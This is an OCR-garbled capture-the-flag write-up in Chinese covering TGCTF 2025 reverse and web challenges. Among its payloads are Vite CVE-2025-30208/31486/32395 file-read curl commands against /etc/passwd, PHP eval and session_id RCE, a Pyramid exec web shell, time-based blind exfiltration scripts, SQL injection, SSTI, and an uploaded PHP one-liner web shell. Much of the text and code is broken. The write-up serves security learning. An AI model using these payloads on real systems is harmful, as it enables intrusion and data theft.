*a3 + 32 * i +4* §)+=*%a2 +32Fk+4* )% *al +32*1+4*k);

O = =
A s Ll R e

}

result = 1 + 1;

¥

return result;

= e
[ R

19 }

sub_U411307R%L

Al

nt  cdecl sub 411EEB(int al, int a2)

==

int result; // eax
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ETkeyRIHRK, EEME

2 if ( w23 == 5"

3 && SBTTEi{ 23)
4 && SBYTE2(v23)
5 && SHIBYTE(v23)
6 && w24 == '5'

7 && SBYTE1(v24) =
8 8& SBYTE2(v24) =
9 && SHIBYTE(v24)
&& 25 == '5’
&& SBTTEi{.a:
8& SBYTE2(v25
&& SHIBYTE(v25)
&& V26 == '5'
&& SBYTEi{ 26)
&& SBYTE2(v26)
&& SHIBYTE(v26)

I
-l:'_'l"lh.'l
LA

nmnn
= &

) =
) =

{9 QR N W N Y v
nmn
= 0

)]

|

Il
(W]
et

2 I

IABzsub_u1133uREANBEE, oJilkeyHiEReVeReSe, REHEEE N
FHEEMNEFNAS.

X

BLHMALUSHAEE T, STiERe, AEEEEHEE

#include <stdio.h>
#include <string.h>

main() {
[ed];

— e e b et ) bt b ] L
m o nonnn-=
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rmraraahrhhrhrhm e e
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298 257 255 400 327 300 216 307 302 264 244 359 303 310 264 342
341 258 244 385 356 296 265 310 196 167 249 317 204 159 211 202
204 200 206 286 204 321 209 264 151 113 147 196 148 111 156 145
152 107 154 213 147 154 112 98 204 208 199 260 203 256 165 242

AERSFlagiEFeRIRERESRAVAEREAEAERE, AJLAERES ML

FEFE A:
( 1 1 e 1 ) ‘) 1 :a\\
a8 1 1 a (5] 1 %] 1
) 0 1 1 o 1 1 0
a8 6 %) 1 e 1 %) 1
a8 1 %) %] 1 a8 1 a
a8 4] %] a (5] 1 %] 1 —s
%] 5] a8 a 5] a8 1 1 Ax=B
\ %) 1 1 ) 8 %) %) 1/ A+B
g2 | e | & |+ | - A-B
HeiTHI= Eak i 21
=£E5ihE ik
e 2 — Rl
At aE = 2
LUSER Cholesky %
v
OLVNER
_1'“|
'/111::11::1::11::\\':'/1—41—21::5—23\
0110010 1 0 3 -1 1 0 -3 1 -2
00110110 0 -2 1 -1 0 2 -1 2
000D 1010 1 o 0o 0o 1 0-1 0 o
01001010 0 -4 1 -1 1 4 -2 3
000D O0O0T1O0 1 01 0 0 0 0 0 -1
000 O0O0UO0T11 01 0 0 0 -1 1 -1
\o110000 1/ \o -1 0 00 1 0 1/

IR AR AR RV EUEH TR



TS v arE A -

HHETTE 1 -4 1 -2 [ 5 -2 3
HETEIRL ] 3 -1 1 ] -3 1 -2
TTERHEFREZE ° 2 ! = ° 2 - =
] ) ) 1 ] -1 ) ] pay
HEEEM: jaEe o -4 1 -1 1 4 -2 3 -
] 1 ) 2 ] ) ) -1 AxB
2} 1 ] 2] 2} -1 1 -1 A+B
2} -1 a 2] 2} 1 ] 1 ASE
fstets (@ & || + | -
RiTFIR bryialtd #EhE FHk
B4 2 —fErErE R FFERE = 2
LUSHR Cholesky 5%

#EFE B:
298 257 255 400 327 300 216 387
382 264 244 359 3a3 316 264 342
341 258 244 385 356 296 265 318
196 167 249 317 284 159 211 202
204 2008 206 286 284 321 209 264
151 113 147 196 148 111 156 145
152 187 154 213 147 154 112 98

204 208 199 260 203 256 165 242

s e & o+ -

HATFIE iRk HEAE B3
= 2 )i e =) 2
LUGH#E Cholesky 75 #%
vl =
== e —
= OLVINgEER NEIE
BAZEA
BAEB
o
<
1 -4 1 -2 0 5 -2 3 298 257 255 400 327 300 216 307
003 -1 1 0 -3 1 -2 302 264 244 359 303 310 264 342
0 -2 1 -10 2 -1 2 341 258 244 385 356 296 265 310
000 0 1 0 -1 0 o0 || 196 167 249 317 204 159 211 202 |_
0 -4 1 —-11 4 -2 3 204 200 206 286 204 321 209 264
01 0 0 0 0 0 -1 151 113 147 196 148 111 156 145
001 0 0 0 -1 1 -1 152 107 154 213 147 154 112 98
0 -1 0 001 0 1 204 208 199 260 203 256 165 242

102 100 49 49 118 53 54 100
52 53 52 114 54 102 52 97
99 68 45 49 101 97 56 100
45 54 102 121 56 48 55 57
53 97 102 56 51 122 102 114
98 56 45 99 100 54 99 100
99 50 52 116 99 97 55 53
53 57 102 97 48 57 57 45

#include<stdio.h>

main() {
[8]1[8]

I

1 }l{ 1

< 8; i+) {

,< ;o JH) |

11051




EITEEREFd11v56du5Uurefiacb-1ea8d-6fy80795af83zfrbs-
cd6cdc2utca7559fa099—

MERG—L T, KRIEHHFLaghuxF

(RBEHAIF 722025, RIBMUIBAGEEE, EAG2IMAESRINMENE, FEENT32, &
[EHITIER

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <time.h>
#include <windows.h>

main() {

ZHflagKIESHAE

3zfb899ac5c256d-7a8r59f0tccd-Ufab6b8vfdlll-auuffyUdr0-6dce5679da58




flagFh2HZNUCTF{32fb899ac5c256d-7a8r59f0tccd-Ufa6b8vFd1l11-auuffyuro-
6dce5679da58}

REVERSE-index

EERLE: wasm, BENNZ, (HKEH]
SRR BFEE ... flagi&zXIHZNUCTF{}

WP:

EHXEBRIRH R HBRARAMEghidrafiit < FR LRI R dRiFwasm, BRABERT
RNES A AR BB AR ERIETFH . o7

FEHXNMREFHENEHRE S B LAY, MEERRENEr=ERIEE, BBRAND_MAX, &
FHAIREXNE, ERSEFNRBIERENIwasnHRIEA—E, —1NEOXTFFF, —4

ZOXTFFFFFFF, FIERREFHN, EEEMERY, SEMEHRE, LZEIEmAYHE

BE—1NTorz; ERtEEyuro orz, (FRXMRREB(FHR)HA, XNMNERELEE LA,

MaESEILIRARE LM, SLHIEANBERSEIMEERT ... (LUeFHXMAR
AT ... )

JRMHFRYMILE

https:// github.com/nneonneo/ghidra-wasm-plugin/

TREZIE, 1E—Twasm3XFRISZAL, MHEPEARERY.ASM, FNERINIZZ . asm, B—
T, BALIER~Aghidrap Ty

R¥miFEFepkZ G, unnamed_function_ 12t 2FERE T, 1RiSMT

unnamed_function_12( )



af://n339
https://github.com/nneonneo/ghidra-wasm-plugin/

Lo e T e T e O e O s T o T e O e T s O e T e T e T e T o B e | 1

0 0 0= 0m 0 0= OO 1 Lo I e IO s I e T e Y Y I Y I Y I Y I Y | N AN
M

— Lo B T B e B e T e Y e B e |

_ d e e e e e e e e e Y e e e e e e e e e e e e e e e e e Y




BINZEEBAkey, ARFltkeyREIEH, FEXKkeyH{THREMEE, xorox51,
T rHIAflag, RERKEREGRE32, & MRIMENflagFMIRfF#HTITEL, fTalx2am
TR EALE,

BTRHETFADT

unnamed_function_21F#FEcmp, BEMAKeyiHTHHER, 0x1102052ERERIKeyRY
FhEtl, Wbk T RENIRT 22 EfBRYKey,



£ Listing  index wasm % |c, R e en 12 —  (index. wasm) % . Ro B v x
ram:0001100d 00 55 2
01100e Q0 | 56
ram:0001100f 00 57
ram:00011010 bo 58
011011 Q0 5%
ram:00011012 00 &0
ram:00011013 00 61| printf(s_We
011014 dc 62| printf(s_P
ram:00011015 00 63 7
ram:0001101& 00 64 X

011017 Q0 &5 unnamed function 21 (&

ram:00011018 02 13 1 =10 [
ram:00011019 00 &7 unnamed_functicn 7 (sl
ram:0001101a 04 68 printf(s 0Ok,
ram:0001101b 00 (1] printf(s_Pl
ram:0001101c 51 Q 70 1 0[0
ram:0001101d 00 71 unnamed funmction 17(

0110le 00 72 unnamsd_function 22 (el
:0001101f 00 77 73

—1 100011020 54 22 S4h T 74

0ll021 47 22 4Th G 75 1 [
100011022 43 27 C 76 10);
:00011023 54 272 rir ] }

011024 4¢ Ex F 78 i
100011025 34 27 4 79 + 1
:00011026 30 272 a 80

011027 34 22 4 51 © oy g
$00011028 00 22 82
:00011029 00 22 g3

ram:0001102a 00 2?7 B4 1
ram:0001102k 00 22 85 1
ram:0001102c 00 77 ag }
ram:0001102d 0d 27 87 printf(s_Congratulation!'!! ram |
ram:0001102e 00 22 G5 1
ram:0001102£ 00 2?2 g else |
ram:00011030 05 272 a0 printf{s_
011031 Q0 22 a1 1
ram:00011032 00 2?2 a?| 1

SREHAunnamed_function_7i#{TkeyfUSFEL, xor 0x51

unnamed_function_7(

ETRmAflag, AEFIBIKE, AEFHAunnamed_function_9RREUHITFIEL




unnamed_function_15KREFEsrandiE, seedfiRE0x1o4(Ei Ik 2U0Y), SAfGH
Aunnamed_function_8iH17FTEL

unnamed_function_8(

SEERR—MIESEERIABENEL, AR TE=RIETEL
[EFJunnamed_function_9BRE], AR ZFERIAITHEHLE

EE#EHZlunnamed_function_11REiHITREINE,

unnamed_function_11(




SHEHEAkey, DRIESIIMAYERINAL, (FEAIRINJALR, FESboxAesEZHHENEY,
ERI— MR, AEBEEX N EETIFISboxSmUEEHITREL, BRINNEZSRIEAE,
BiflagtiTE—RRE, EEFlagBiIRREAEZRRIkeyHITE RREINE, FThk
ATEINE, &REMESCGHITIEN.

BRI 0x10Fa0,

# Listing: index. wasm I Ej ||§— E B a n | X |Cf]lll:unilu: umanmed_function_12 = (index. wasm ‘; sie RO
ram:00010£8d €e 22 €Eh n [£0 al SO =
ram:00010£3 c6 22 Céh | e
ram:00010£8E 24 27 24h 62
ram:00010£90 13 27 1%h 63
ram:00010£91 £0 22 FOh 64
ram:00010£92 7d 272 70h 1 €5
ram:00010£93 ec 7 ECh €6 n
ram:00010£94 3a 22 3Lh 67 unnamsd function_7(skev);
ram:00010£95 de 27 DCh L] printf{s_0Ok,_let's_g
ram:00010E96 4d 22 4Dh M €9 printf(s_Flz input_t
ram:00010£97 20 27 20h 70 local
ram:00010£93 7% 27 7%h ¥ 71
ram:00010£99 e 27 EEh 72 unnamed function_ 22({slccal 30);
ram:00010£%9a 5£ 27 5Fh _ T3 n == 0x20) {
ram:00010£90 3 22 3En > Bl
ram:00010£%¢c 47 27 DTh 75
ram:00010£9d cb 22 CBh 76
ram:00010£9 39 22 38 3 Bl
EameLO0lOs0s Ao 22 Lok E 78

* ram:00010£a0 84 22 84h s
ram:00010£al 00 22 00h a0 if ((uint)lo
ram:00010£a2 00 kXl Qaoh g1 *{uint *) {
ram:00010£a3 00 7 00h 82 printf{s_wro
ram:00010£ad4 lc 272 1Ch g return 07
ram:00010£a5 00 27 00k 84 1
ram:00010£a6 00 27 00h 85 }
ram:00010£a7 00 27 00k 86 1
ram:00010£ad €k 27 £Bh a7 printf(s_tongratulation!'' ram 0001003b,0) 7
ram:00010£a% 00 22 00h EE] }
ram:00010£aa 00 27 00h k] else |
ram:00010£ak 00 272 00h S0 printf(s_wrong_wrong!!!_ ram 00010042,0)7
ram:00010fac £7 27 FTh 51 1
ram:00010£ad 00 27 00k 82| 1}
ram:00010£ae 00 27 00h 93| els= [
ram:00010£af 00 27 00k 94 printf({s_wrong wrong!!! ram 000100%e,0);
ram:00010Eb0 45 22 4sh ] 95 1
ram:00010£bL 00 27 00h 98| return 07
ram:00010£R2 00 27 00k 37)}

L—

THREREERR T

<stdio.h>
<stdint.h>
<string.h>
<stdbool.h>
<time.h>
<stdlib.h>

#include
#include
#include
#include
#include
#include







decode(




= list(
range(len(
[i]
[i],
print("".join(

HZNUCTF {f898-de85-U46e-9el3-b9c8}

WEB-BijiigGAME

EHRZE: CVE-2025-30208 ViteFAIREZSES(IFENHEELRH



af://n372

HEER: IFEESHERRR/NIEE, BRI,

Vite CVE-2025-30208 ¥2imiR - BH_rs - R

[CVE-2025-30208] | Vite-iEiAotrSSM-CSDNEE

[CVE-2025-30208] ViteHRIRZ=EFSIHERRR - hiZGetShell

CVE-2025-30208 (3{#iEBY) HiRSIN-CSDNIEE

VitefF{CVE-2025-30208K2iEE (MHEEFEMETTH) _ BFRIAMER

/@fs/etc/passwd?import&raw??
/@fs/etc/passwd?raw??

/@fs/tgflagggg?import&raw??
/@fs/tgflagggg?raw??

403 Restricted

The request url "/tgflagggg” is outside of Vite serving allow list.

- /app

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.

iR [0 HackBar M 7TE #HE RAUOKEERE HA #E AT Lighthouse

LOAD SPLIT EXECUTE TEST ~ sqLl - XSS ~ LFlI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://192.168.137.128:9041/@fs/tgflagggg

export default "TGCTF2025{test_flag}'n”
/1%

sourceMappingURL=data:application/ json;base64, eyJ2ZXJzaW9ul jozLCJzb3VyY2VzI jphInRnZmxhZ2dnZz9yYXc/T10sInNvdX ] jZXNDb250ZW501 jpb ImV4cGIydCBkZWZhdWx0TFwi VEADVEYYMDI 1e 3R1c3RfZmxhz3 1cXG5eTi]
DLENBQUMsUOFBUyxDQUFDLFNBQVMsQOFBQyxDQUFDLENBQUMi£@==

LOAD SPLIT EXECUTE TEST ~ saLl - Xss -~ LFI -~ SSTI ~ SHELL -~ ENCODING ~ HASHING -~

URL
hitp:/192.168.137.128:9041/@fs/tgflagggg?raw??



https://www.cnblogs.com/risheng/p/18795361
https://blog.csdn.net/IDHALASHAO/article/details/146611941
https://get-shell.com/6985.html
https://blog.csdn.net/ljh123321ljh/article/details/146726301
https://www.panziye.com/front/16376.html

WEB-BijixGAME Plus

FERGES: CVE-2025-31486 ViteFFARIRS=HEREENRE

AR IFEESHERRIR/EPLlushi, BRIID,

CVE-2025-31486 https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjgUMw==&mid=
2247483811&1idx=1&sn=2bULU03023fd911f611bf5590ea3796d6&scene=21#wechat_

redirect

flagERBRT /toflagggg

/etc/passwd?.svg?.wasm?init

/tgflagggg?. svg?.wasm?init

#XNMTIE, ARSI
curl "http://nodel.tgctf.woooo.tech:32613/@fs/app/?/../../../../../tgflagggg?
import&?raw

import initWasm from ”/@id/__x00__vite/wasm-helper. js”

export default opts => initWasm(opts, “data:application/octet-stream;base64, VEADVEYyMDI1e3R1c3RfZmxhZ30K”)

//#

sourceMappingURL=data:application/json;base64, eyJ2ZX]JzaW9ul jozLCJzb3VyY2VzI jpbInRnZmxhZ2dnZz8uc3ZnPy53YXNtP21uaXQiXSwic291cmN1cONvbnR1bnQi01siXG5pbXBvenQgaWspdFdhe20gZnJvbSBeli9
AaWlQvX194MDBfX3ZpdGUvd2FzbS10ZWxwZXTuanNeI1xuZXhwb3 JOIGR1ZmF 1bHQgb3B0cyA9PiBpbm1 0V2FzbShvcHRzZLCBe ImRhdGE6YXBwbG1 jYXRpb24vb2N0ZXQtc3RyZWF 02 JThe 2U2NCxWRWREVKVZeU1ESTFIM1 JsYZNSZ1pt
eGhaMzBLXCIpXG4iXSwibmFtZXMiO1tdLCJtYXBwaW5ncyI61 jtBQUNBLE1BQUOsQOFBQyxRQUFRLENBQUMsSUFBSSxDQUFDLENBQUMsQOFBQyxDQUFDLEVBQUUsQOFBQyxXQUFXLENBQUMsSUFBSSxDQUFDLE1BQUOsQOFBQyxFQUFFO

OFBQ3JELE1BQUOsQOFBQyxPQUFPLENBQUMs SUFBSSxDQUFDLENBQUMsQOFBQyxDQUFDLFFBQVEsQOFBQyx JQUF JLENBQUMsQOFBQy xDQUFDLE1BQUksQOFBQy xXQUFXLENBQUMs SOFBSyxDQUFDLE 1BQUOsQOFBQyxNQUFNLENBQUMSNE
JBQTRCLENBQUM7In0=

iR [0 Hackear FE 7% f##6 FABRE WA 62 WE  Lighthouse ® i X

LOAD  SPLIT  EXECUTE  TEST - SQLI - XSS - LFl - SSTI -  SHELL -~  ENCODING -  HASHING - THEME ~

URL

hitp://192.168.137.128:9047/tgflagaga?.syg?- wasm?init

Enable POST ADD HEADER


af://n389
https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjg4Mw==&mid=2247483811&idx=1&sn=2b4403023fd911f611bf5590ea3796d6&scene=21#wechat_redirect

WEB-BIiGGAME Ultra

FRRES: CVE-2025-32395 ViteFFAIRSHESNHZERRE (EAKXVE)
BB IFEESHENRR/INEFEXRULtraik, BRIE,

CVE-2025-32395 https://mp.weixin.qq.com/s/HMhzXqSplWa—IwpftxwTiA

318/ @fs/tmp/3KE4EITIRR /app, BRTE THIEEdockertbgEEHERIR

curl --request-target /@fs/app/#/../../../../../etc/passwd
http://nodel.tgctf.woooo0.tech:32742/

curl --request-target /@fs/app/#/../../../../../tgflagggg
http://node2.tgctf.wooo00.tech:31500/

7 CAWINDOWS\system32\cmd. X + ~

C: \U5e15\35393>cu11 --request-target /@fs/app/#/../../../../../etc/passwd http://192.168.137.128:90U8/
root:x:0:0:root:/root:/bin/sh
bin:x: n:/bin:/sbin/nologin
daemon :daemon:/sbin:/sbin/nologin
Tp:x:4 p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news: /usr/lib/news: /sbin/nologin
uucp:x:10:1l:uucp: /var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
::/var/lib/ftp:/sbin/nologin
:22:sshd:/dev/null:/sbin/nologin
35:35:games: fusr/games: /sbin/nologin
ntp:x:123:123:NTP: /var/empty: /sbin/nologin
guest:x:U485:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000: : /home/node: /bin/sh

C:\Users\35393>curl —--request-target /@fs/app/#/../../../../../etc/passw"Z http://192.168.137.128:90u8/

C:\Users\35393>curl --request-target /@fs/app/#/../../../../../tgflagggg http://192.168.137.128:9048/
TGCTF2025{test_flag}

C:\Users\35393>|



af://n403
https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

WEB-fai:ERH

ERRGE:
PHP session_id %gdwaf RCE (x
FTEHRCEREINGER ([
A EA: web&EI1, HERRIPHPEAE, FMwafLEalE! (bushi
WP:
<?
$tgctf2025=$_GET[

(!'preg_match(

, $tgctf2025)){

($tgctf2025);

highlight_file(__FILE_);

(FHBwaf, ZTIE
session_id (PHPSESSID) FE2EHITHIGRS (BSAFBEERTRE) , flagEIMETEE,

payload:

?tgctf2025=session_start();system(hex2bin(session_id()));

PHPSESSID=636174202£666c6167 //cat /flagtg+ il



af://n414

TGCTF2025{test_flag} <2php

$tgctf2025=$_GET[ tgctf2025" 1;

if (Ipreg_match(”/0[1][3-91 [\™[\"[\@|\&#[\\$ [ \%] \" \&[\ [\ [\ [\=[\=[\+[\NONTINT NN VI NN DTV N2 \N\WL7, $tgetf2025)) {
eval ($tgetf2025) ; k

élse{

dieC (7 " O )7 JEH! ceex~@);

highlight_file(__FILE_);

iR [0 Hadgar R% 7 @Ela FRWHRE WAt KE  Lighthouse
LOAD  SPLIT  EXECUTE  TEST ~  SQLI ~ XSS ~ LFl ~  SSTI -  SHELL -  ENCODING ~  HASHING -~
URL E=2 A &
http://192.168.137.128:9034/2tgctf2025=session_start();system(hex2bin(session_id())); PHPSESSID 636174202f666¢6167
_pk_id.1.3b4b C7f0735489d6b26d.1711457731

Hitoifix

& rce
&2 tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /*');

WEB-aiiBPAEE (S=1h)

EERLL: PHP session_id £&dwaf RCE

EEfEIA: webZEH1, EEAIPHPRFE, banTFTERCE

$tgctf2025=$_GET[



af://n433

(!preg_match(

, $tgctf2025)){

($tgctf2025);

highlight_file(__FILE_);

payload:

?tgctf2025=session_start();systemChex2bin(session_id()));

PHPSESSID=63617U4202f666C6167 //cat /flagh9+7NiFsH)

Hitef#x:

/?tgctf2025=system(implode(apache_request_headers()));

AE2IEFTIHA, system(hex2bin(lcfirst(key(apache_request_headers())))); HAEFFHA (bushi

WEB-ZERIECT, AAEHILK

=

ERELE: pyranidiEZENES, ABEIT

AR BERRAITESE, HTTTRRERE, 8.
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WP
pyramid {ESREESISIE- MK
SERIFRRSIIZE & (HIER PyramiduebF FESIFT TS ALK

XpyramidiEZRFTERAIFES] --- LA—iBctFRER fI- S X

.config
.request
.response
.view
.simple_server
.events

checkExpr(
= .split(
print(exec(

len( ) 1=

int( [o1)
int( (11D

home_view(

.method ==

(



https://xz.aliyun.com/news/16068?u_atoken=74c41920a00b8b254e2bcd921ea0fda6&u_asig=0a472f8317440258840025575e0034
https://xz.aliyun.com/news/16464?time__1311=eqUxnDRD0QitIxWqGNcjDaAYD540INmhdx&u_atoken=a499ee16a29b0d3a2eedd30daf7c756c&u_asig=0a47309317440258746795862e00fe
https://xz.aliyun.com/news/16090?u_atoken=87dba66839b39d2b13eae6e4583416ca&u_asig=0a47309317440258787906072e00fe




¢ =
.from_string(
.render(

( )




.add_route(
.add_view(

.make_wsgi_app()

= (

.serve_forever()

evaliH{T T FASRYRRBIFKIARRY, execALITAES.
payload:

1. RFES
expr=exec("config.add_route('shell_route','/17shell');config.add_view(lambda
request:Response(__import__('os').popen(request.params.get('1')).read()),route

_name='shell_route');app = config.make_wsgi_app()")

/17shell?1=1s /

2. request.add_response_callback fFREHITER. (BNFHE, BRXEHA
A7, BHexecHfEhome_view Fi&HBrequest)

print(exec("request.add_response_callback(lambda request,

response:setattr(response, 'text', getattr(getattr(_import__('os'), 'popen')
('whoami'), 'read')()))"));

Calculator

Eﬁ)\i%ﬁ:—:t Iexec( l {El
&R Me!

TS ]
R [0 Hacksar R% % #2H& BRERE WA 8 BE  Lighthouse

LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ LFl ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://192.168.137.128:9040/

enctype
. Enable POST application/x-www-form-urlencoded v ADD HEADER

Body
expr=exec('config.add_route('shell_route';/17shell');,config.add_view(lambda

request:Response(__import__('os').popen(request.params,get('1')).read()),route_name="shell_route’);app =
config.make_wsgi_app()")




TGCTF2025{test flag}

ik [0 Hackear MHE 7E &S FAESGE WA ME  AE  Lghthouse

LOAD SPLIT EXECUTE TEST ~ saLl - XSS ~ LFI ~ SSTI ~ SHELL -~ ENCODING -~ HASHING ~
URL
http://192.168.137.128:9040/17shell?1=cat /fla tactf2025_asidklalkenkjassihdlk

Hetbh9iF 733k
fotsEix

ABRECS , AERIKE

FaH H 8 IRSEINRCE, FISHRHTTP 500RJIR[E;H BLIMEIR
"http://nodel.tgctf.woooo.tech:32030/"

"ls /fx & sleep 1"

¢ = f" mun
= re.match._ globals_ [

__builtins__ ']

S.pos
f'exec({

RIEEE:



url = "http://nodel.tgctf.woooo.tech:31931/"

ans =
for i in range(0, 100):
for strr in string.printable:
shell = """
import os
import time
a = os.popen('cat /f1*').read()
if len(a) > {i} and a[{i}] == '{strr}':
time.sleep(2)

wun

start = time.time()
requests.post(url, data={'expr': shell})

end = time.time()

if end - start > 2:
ans += strr
print(ans)

R

<l

TGCTF{16@b39el-e189-836-31a6-
TGCTF{1606b39e1-e189-1836-31a6-d
TGCTF{1608b39e1-e189-f836-31a6-d6
TGCTF{160b39%e1-e189-1836-31a6-d64
TGCTF{160b39%e1-e189-f836-31a6-d642
TGCTF{1606b39e1-e189-836-31a6-d6428
TGCTF{1606b39e1-e189-f836-31a6-d64289
TGCTF{160b39e1-e189-836-31a6-d642899
TGCTF{160b39e1-e189-836-31a6-d6428997
TGCTF{1606b39e1-e189-f836-31a6-d6428997a
TGCTF{1606b39e1-e189-f836-31a6-d6428997aa
TGCTF{160b39e1-e189-1836-31a6-d6428997aab
TGCTF{1606b39e1-e189-f836-31a6-d6428997aabd

bash5*:

FRUAE%4T bash i T
Rl

import requests

import time

url="http://nodel.tgctf.woooo.tech:30565"

payload=""

payload1="cat /f*"

payload=payloadl

code_template="""import os;cmd="if [ * {} | awk "{{{printf\\"%s\\", $0}}}} END {{{{print \\"\\"H}}' | cut - {} | head -c 1| od-An -t dC" -le {} ];

nun

then ; else sleep 2; fi";0s.system(cmd);

low=0



WEB-TGCTF2025 [S&ETH

o

/\\\ll#l\% : SQL;I)\

m
=]

ABA: TeamGipsyBARAINVINHE T AETGCTFRIEAERIBIE, MFEERKFE®E
ZRRIP, BRRIERE. YIRS ERS: tg/tgl23

BEANMEAE: http://1204.71.1047.99:90U5/

BT R THE HRE, BRI, EERE!

WP:

pEUER

.cursors

.connect(
.environ[
.environ[
=o0s.environ[ 1,
=o0s.environ[ 1,

I
= .cursors.DictCursor,

@app.get("/")
index():
.cookies:

.cookies[

@app.route(
login():



af://n479
http://124.71.147.99:9045/

.method == :
= .form.get(
.form.get(

.cursor()
.execute(

.fetchone()

.close()

= /"

.set_cookie(

AILAESEHER \ RENFRBENTMSRAS SR, R TRISRER T,
username=\&password=+and+updatexml(null, concat((select+*+from+flag)), null) --+-

username=\&password=union select *,2 from flag#




WEB-EE, FEFRT?

%/u\lﬁ&lg:lztl: 1-%65'Eﬁ|i+\ Goig%_q:%’l\gz

B EH—HE, @It ARIER, EUARIEaZER, E(IEEROEE,
{Ff0getsBEEIREIE,

WP:
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:= O
= append(







)
#* nil {

WP:

iR R

#* nil {
Q,

£Gorh, =HFT = ATXERPIME, 7B - ReEATXEWE.

https:// stackoverflow.com/questions/17891226/difference-between—and-o
perators-in-go/17891297#17891297

FREA—MESH nane , (15 safe HWWEA nil , REMAERflag, LAY
err ARR nil  (BTEORD, FUFERANEE, SE&(FEEXANES)

EXP:



https://stackoverflow.com/questions/17891226/difference-between-and-operators-in-go/17891297#17891297

Solver:
__init__(self,
self.baseUrl =
self.READ_FILE_ENDPOINT =
self.VALID_CHECK_PARAMETER =
self.INVALID_CHECK_PARAMETER =
self.RACE_CONDITION_JOBS =

raceValidationCheck(self,

.get(url)
text(O)

raceCondition(sel+f,
= list(Q)
range(self.RACE_CONDITION_JOBS):
.append(self.raceValidationCheck(
self.VALID_CHECK_PARAMETER))
.append(self.raceValidationCheck(
self.INVALID_CHECK_PARAMETER))
.gather(*

solve(self):
.ClientSession()

print(

self.raceCondition(

+= self.RACE_CONDITION_JOBS




ris)

[0 PythonProject
O AwD
DorL
0 myenv ! 2 i a f edRa onditionJobs}')
0 myvenv2
[ Web Sec

@ 6.py
@ 7.py
@ 8py
@ 9.py
2 10.py
2 11.py
2 12.py
2 13.py

if __name__ =
baseUrl =

solver er(baseUr

ncio.run(

FLULSIEU raLE LUNULLLUN JuuS.
ndition job
condition jobs: 58900
condition : 59000
condition : 59108
condition : 59200
ndition j 59300
ondition j 59400
ondition j
ndition j
ace condition

Finished race condition jobs: 59888

indow! Flag): TGCTF{78

TGCTF{78c986cd-eace-8eb6-2c9c-0U492Uc738U68}

WEB- X ARF#ERE

R REfbphpXHEA LR (FRHENHE T, BRRFR)

tgxff.phpal LIIREIFRIBR:


af://n510

g )

LFI - SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~

\-w_ .

Memory  Application  Lighthouse

MODIFY HEADER

Name Value

X-Forwarded-For v {6*6}

REEEF payload:

{if system('cat /tgf=*');}{/if}

WEB-EHXKp

HiEE/hinti8H, EEEKEIIVNSFZBIEHBER, HTIRHIE.
KRINE/aazziEH,

RIS EE]

“l— FEXzH, elRzry, RUEREER: ... 5. % ? (ATEALMES) —

XIHRHITSEHFHRIER, KNE—MFfilenameFJLUES,
Afafilename 22— NI 4HEENAYRREL,

XEHEFA I EZEZ N app . pyAYTERS.

RUEHES:

import os
import string

from flask import Flask, request, render_template_string,
jsonify,send_from_directory
from a.b.c.d.secret import secret_key
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FrLARTR1/a/b/c/d/secretEHBssecret_key, EEMEKXM.

EINEE6*6 KA :

“INMBT EFT, RELTUERXSG 7! HERIE “secret_key” BiiAT “({IV
&G, WMRIRAT cat, SLAILREBIFERAET
36

RERBRsstiffpayload:

BEmELIL"\x5F\x5Ffclass\x5Ff\x5F" 1 ["\x5F\x5fmro\x5F\x5Ff"]1[1]

["\x5Ff\x5fsubclasses\x5f\x5f"]()[351]('cat
flag',shell=True,stdout=-1).communicate()[0].strip()Xdp

WEB-(Cez)upload

E%%ZR: move_uploaded_file Q)FNAEEUEST

B L

POST /upload.php?name=1.php/. HTTP/1.1

Host: node2.tgctf.wooo00.tech:31027

Content-Length: 1000317

Cache-Control: max-age=0

Origin: http://node2.tgctf.wooo00.tech:31027

Content-Type: multipart/form-data; boundary=——
WebKitFormBoundarykR1A1Z3vtildHBOOS

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéu4; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,im
age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://node2.tgctf.wooo00.tech:31027/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;g=0.9,en;q=0.8

Connection: close

WebKitFormBoundarykR1A1Z3vtidHBOOS
Content-Disposition: form-data; name="name"; filename="1.txt"
Content-Type: text/plain

1015 AR ERFF+<?php eval($_POST['J']);?>
WebKitFormBoundarykR1A1Z3vtidHBOOS
Content-Disposition: form-data; name="submit"

A&
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WebKitFormBoundarykR1A1Z3vtidHBOO8--

ifialuploads/1.php, flagfERETE

WEB—{TAX 4 L1%£?

BitErobots. txtBRERE=AVNEFE, 1B . atgF5%.

#HNclass.phpBEIRFIUL, $EFUOT:

<?php
highlight_file(__FILE_ );
error_reporting(0);
function best6U_decode($str)
{
return base6ud_encode(md5(base6u4_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this—learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this—>study—>hard();

}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this—did = "What you did makes you outstanding.<br>";
}
public function __call($argl, $arg2)
{
$this—done = "And what you've done has given you a choice.<br>";
echo $this—done;
if(md5(md5($this—doing))==666){
return $this—doing();
}
elsef{
return $this—doing—better;
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}
class tommoraw {
public $good;
public $bad;
public $soso;
